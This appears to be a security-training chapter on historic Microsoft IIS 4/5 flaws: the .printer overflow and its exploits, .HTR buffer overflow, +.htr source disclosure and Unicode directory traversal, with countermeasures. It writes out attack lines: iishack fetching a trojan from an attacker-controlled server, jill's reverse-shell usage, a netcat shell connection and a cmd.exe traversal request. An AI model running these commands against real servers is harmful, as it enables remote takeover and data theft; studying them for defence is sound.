Exploits

Ryan Permeh of eEye Digital Security released 'iishack2000.c' exploit.

The vulnerability arises when a buffer of approx. 420 bytes is sent within the HTTP Host: header for a .printer ISAPI request. Remotely exploits buffer overflow, inserts shellcode to "shovel a shell" back to a listener on attacker's system.

Example:

GET /NULL.printer HTTP/1.0

Host: [buffer] (Where [buffer] is approx. 420 characters .)

When exploited, an attacker would have caused a buffer overflow within IIS and have overwritten EIP. Now normally the web server would stop responding once the attacker has "buffer overflowed" it. However, Windows 2000 will automatically restart the web server if it notices that the web server has crashed.

This exploit will run against an IIS 5 web server, create a text document on the remote server with instructions directing readers to a web page on eeye.com that has information on how to patch the system so that the web server is no longer vulnerable to this flaw.

Wanderley J. Abreu Jr. provided the memory leak 'iiswebexplt.pl' exploit.

This code requires perl and is run from the command line as "perl iiswebexpl.pl victim". Upon execution, the code outputs the results in text on the screen stating if the victim web server is vulnerable or not vulnerable.

Dark spyrit provided the 'jill.c' exploit.

The exploit code jill.c, is a 167-line program written in the C language, authored by a grey-hat hacker in New Zealand who uses the nickname Dark Spyrit. Although jill is written in UNIX C, compiling it on Windows 2000 is a snap with the Cygwin environment. Cygwin compiles UNIX code with an "abstraction layer" library ”cygwin1.dll ”that intercepts the native UNIX calls and translates them into Win32 equivalents. Therefore as long as the cygwin1.dll is in the working path from where the compiled executable is run, it would function on Win32 as it would under UNIX or Linux.

Using the compiled code against a default installation of IIS 5.0, an attacker merely needs to type in the name of a remote system and a port number, and gain complete control of the machine in a matter of seconds. It provides the remote attacker with a command shell with SYSTEM level access. Therefore the exploit grants full control over the system allowing the attacker to "own" the system.

$ ./jill

iis5 remote .printer overflow.

dark spyrit <[e-mail] > / beavuh labs.

Usage:/jill <victimHost> <victimPort> <attackerHost> <attackerPort>

Because the initial attack occurs via the Web application channel (port 80, typically) and because the shell is shoveled outbound from the victim Web server on a port defined by the attacker, this attack is difficult to stop using router or firewall filtering.

Cyrus the Great provided the 'iis5hack.zip' exploit

This is basically the jill.c script with some changes to make it easier to compile on the Windows platform which in effect makes it a real point and click exploit code. It also includes a perl script and a binary for Windows NT.

Variants: IIS5 Koei.exe

This executable is a simple Win32 version of jill.c which exploits IIS5 .IPP printer bug. The exploit will spawn a reverse cmd.exe to port 7882. In order to work the user must not be fire walled on that port.

Hacking Tool: IISHack.exe

iishack.exe overflows a buffer used by IIS http daemon, allowing for arbitrary code to be executed.

c:\ iishack www.yourtarget.com 80 www.yourserver.com/thetrojan.exe

www.yourtarget.com is the IIS server you're hacking, 80 is the port its listening on, www.yourserver.com is some webserver with your trojan or custom script (your own, or another), and /thetrojan.exe is the path to that script.

 

"IIS Hack" is a buffer overflow vulnerability exposed by the way IIS handles requests with .HTR extensions. A hacker sends a long URL that ends with ".HTR". IIS interprets it as a file type of HTR and invokes the ISM.DLL to handle the request. Since ISM.DLL is vulnerable to a buffer overflow, a carefully crafted string can be executed in the security context of IIS, which is privileged. For example, it is relatively simple to include in the exploit code a sequence of commands that will open a TCP/IP connection, download an executable and then execute it. This way, any malicious code can be executed.

A sample exploit can be constructed as shown below:

To hack the target site and attacker's system running a web server can use iishack.exe and ncx.exe.

To begin with, the ncx.exe is configured to run from the root directory. IIShack.exe is then run against the victim site.

 c:\>iishack.exe <target> 80 <attacker>/ncx.exe 

The attacker can then use netcat to evoke the command shell

 c:\>nc <target> 80 

He can proceed to upload and execute any code of his choice and maintain a backdoor on the target site.

IPP Buffer Overflow Countermeasures

• Install latest service pack from Microsoft.

• Remove IPP printing from IIS Server

• Install firewall and remove unused extensions

• Implement aggressive network egress filtering

• Use IISLockdown and URLScan utilities

• Regularly scan your network for vulnerable servers

 

Without any further explanation, the first countermeasure is obviously to install the latest service packs and hotfixes.

As with many IIS vulnerabilities, the IPP exploit takes advantage of a bug in an ISAPI DLL that ships with IIS 5 and is configured by default to handle requests for certain file types. This particular ISAPI filter resides in C: \WINNT\System32\msw3prt.dll and provides Windows 2000 with support for the IPP. If this functionality is not required on the Web server, the application mapping for this DLL to .printer files can be removed (and optionally deleting the DLL itself) in order to prevent the buffer overflow from being exploited. This is possible because the DLL will not be loaded into the IIS process when it starts up. In fact, most security issues are centered on the ISAPI DLL mappings, making this one of the most important countermeasure to be adopted when securing IIS.

Another standard countermeasure that can be adopted here is to use a firewall and remove any extensions that are not required. Implementing aggressive network egress can help to a certain degree.

With IIS, using IISLockdown and URLScan - (free utilities from Microsoft) can ensure more protection and minimize damage in case the web server is affected.

Microsoft has also released a patch for the buffer overflow, but removing the ISAPI DLL is a more proactive solution in case there are additional vulnerabilities that are yet to be found with the code.

ISAPI DLL Source disclosures

• Microsoft IIS 4.0 and 5.0 can be made to disclose fragments of source code which should otherwise be in accessible.

• This is done by appending "+.htr" to a request for a known .asp (or .asa, .ini, etc) file.

• appending this string causes the request to be handled by ISM.DLL, which then strips the '+.htr' string and may disclose part or all of the source of the .asp file specified in the request.

 

IIS supports several file types that require server-side processing. When a web site visitor requests a file of one of these types, an appropriate filter DLL processes it. Vulnerability exists in ISM.DLL, the filter DLL that processes .HTR files. HTR files enable remote administration of user passwords.

HTR files are scripts that allow Windows NT password services to be provided via IIS web servers. Windows NT users can use .HTR scripts to change their own passwords, and administrators can use them to perform a wide array of password administration functions. HTR is a first-generation advanced scripting technology that is included in IIS 3.0, and still supported by later versions of IIS for backwards compatibility. However, HTR was never widely adopted, and was superceded by Active Server Pages (ASP) technology introduced in IIS 4.0.

Attack Methods  

Exploit / Attack Methodology

By making a specially formed request to IIS, with the name of the file and then appending around 230 + " %20 " (these represents spaces) and then appending " .htr " this tricks IIS into thinking that the client is requesting a " .htr " file . The .htr file extension is mapped to the ISM.DLL ISAPI Application and IIS redirects all requests for .htr resources to this DLL.

ISM.DLL is then passed the name of the file to open and execute but before doing this ISM.DLL truncates the buffer sent to it chopping off the .htr and a few spaces and ends up opening the file whose source is sought. The contents are then returned. This attack can only be launched once though, unless the web service started and stopped . It will only work when ISM.DLL first loaded into memory.

An attacker can view the location of global.asa, for instance, as follows

http://www.victim.com/global.asa%20%20(...<=230)global.asa.htr will reveal the location of global.asa

The vulnerability involves an unchecked buffer in ISM.DLL. This poses two threats to safe operation. The first is a denial of service threat. A malformed request for an .HTR file could overflow the buffer, causing IIS to crash. The server would not need to be rebooted, but IIS would need to be restarted.

"Undelimited .HTR Request" vulnerability: The first vulnerability is a denial of service vulnerability. All .HTR files accept certain parameters that are expected to be delimited in a particular way. This vulnerability exists because the search routine for the delimiter isn't properly bounded. Thus, if a malicious user provided a request without the expected delimiter, the ISAPI filter that processes it would search forever for the delimiter and never find it.

If a malicious user submitted a password change request that lacked an expected delimiter, ISM.DLL, the ISAPI extension that processes .HTR files, would search endlessly for it. This would prevent the server from servicing any more password change requests. In addition, the search would consume CPU time, so the overall response of the server might be slowed.

The second threat would be more difficult to exploit. A carefully-constructed file request could cause arbitrary code to execute on the server via a classic buffer overrun technique. Neither scenario could occur accidentally . This vulnerability does not involve the functionality of the password administration features of .HTR files.

".HTR File Fragment Reading" vulnerability: The ".HTR File Fragment Reading" vulnerability could allow fragments of certain types of files to be read by providing a malformed request that would cause the. HTR processing to be applied to them. This vulnerability could allow a malicious user to read certain types of files under some very restrictive circumstances by levying a bogus .HTR request. The ISAPI filter will attempt to interpret the requested file as an .HTR file, and this would have the effect of removing virtually everything but text from a selected file. That is, it would have the effect of stripping out the very information that is most likely to contain sensitive information in .asp and other server-side files.

The .htr vulnerability will allow data to be added, deleted or changed on the server, or allow any administrative control on the server to be usurped. Although .HTR files are used to allow web-based password administration, this vulnerability does not involve any weakness in password handling.

"Absent Directory Browser Argument" vulnerability: Among the default HTR scripts provided in IIS 3.0 (and preserved on upgrade to IIS 4.0 and IIS 5.0) were several that allowed web site administrators to view directories on the server. One of these scripts, if called without an expected argument, will enter an infinite loop that can consume all of the system's CPU availability, thereby preventing the server from responding to requests for service.

ISAPI.DLL Exploit

• Here's a sample file called htr.txt that you can pipe through a netcat to exploit the ISAPI.DLL vulnerability.

   GET /site1/global.asa+.htr HTTP/1.0 [CRLF] [CRLF] 

• Piping through netcat connected to a vulnerable server produces the following results:

  

 

By requesting an existing filename (for example, global.asa) with an appendage of "+" and extension of ".htr" from Microsoft Internet Information Server 4.0/5.0 , IIS will be tricked to call ISM.DLL ISAPI application to deal with this request. When "+" is found in the filename, ISM.DLL will truncate the "+.htr" and open the target file (global.asa). If the target file is not ".htr" file, part of target file source code will be exposed to the attacker. For example, an attacker can retrieve the content of global.asa which often contains some sensitive information such as SQL server's username and password.

The "global.asa" file is a prime target for attackers , since it is used to specify event scripts and declare objects that have session or application scope. It is not a content file displayed to the users; instead, it stores event information and objects used globally by the application. This file has to be named "global.asa" and has to be stored in the root directory of the application. As a result, the hackers can easily locate it and use any one of the above exploits to obtain its content. The file typically contains several functions including "Application_OnStart" which is activated when a new session starts. In many cases, the code connects to the database and makes the necessary initialization.

However, in a nutshell , the vulnerability could allow a malicious user to request files from the server, which would then be processed as though they were .HTR files. The result of this could be that parts of the .ASP source code would be sent to the malicious user. In theory, this could expose sensitive data contained in the .ASP files.

IIS Directory Traversal

• The vulnerability results because of a canonicalization error affecting CGI scripts and ISAPI extensions (.ASP is probably the best known ISAPI-mapped file type.)

• canonicalization is the process by which various equivalent forms of a name can be resolved to a single, standard name.

• For example, "%co%af" and "%c1%9c" are overlong representations for ?/? and ?\?

• Thus, by feeding the HTTP request like the following to IIS, arbitrary commands can be executed on the server:

 GET/scripts/..%c0%af../winnt/system32/cmd.e   xe?/c+dir=c:\ HTTP/1.0 

 

Due to a canonicalization (see below) error in IIS 4.0 and 5.0, a particular type of malformed URL could be used to access files and folders that lie anywhere on the logical drive that contains the web folders. This would potentially enable a malicious user who visited the web site to gain additional privileges on the machine - specifically , it could be used to gain privileges commensurate with those of a locally logged-on user. Gaining these permissions would enable the malicious user to add, change or delete data, run code already on the server, or upload new code to the server and run it. This is the vulnerability exploited by the Code Blue Worm.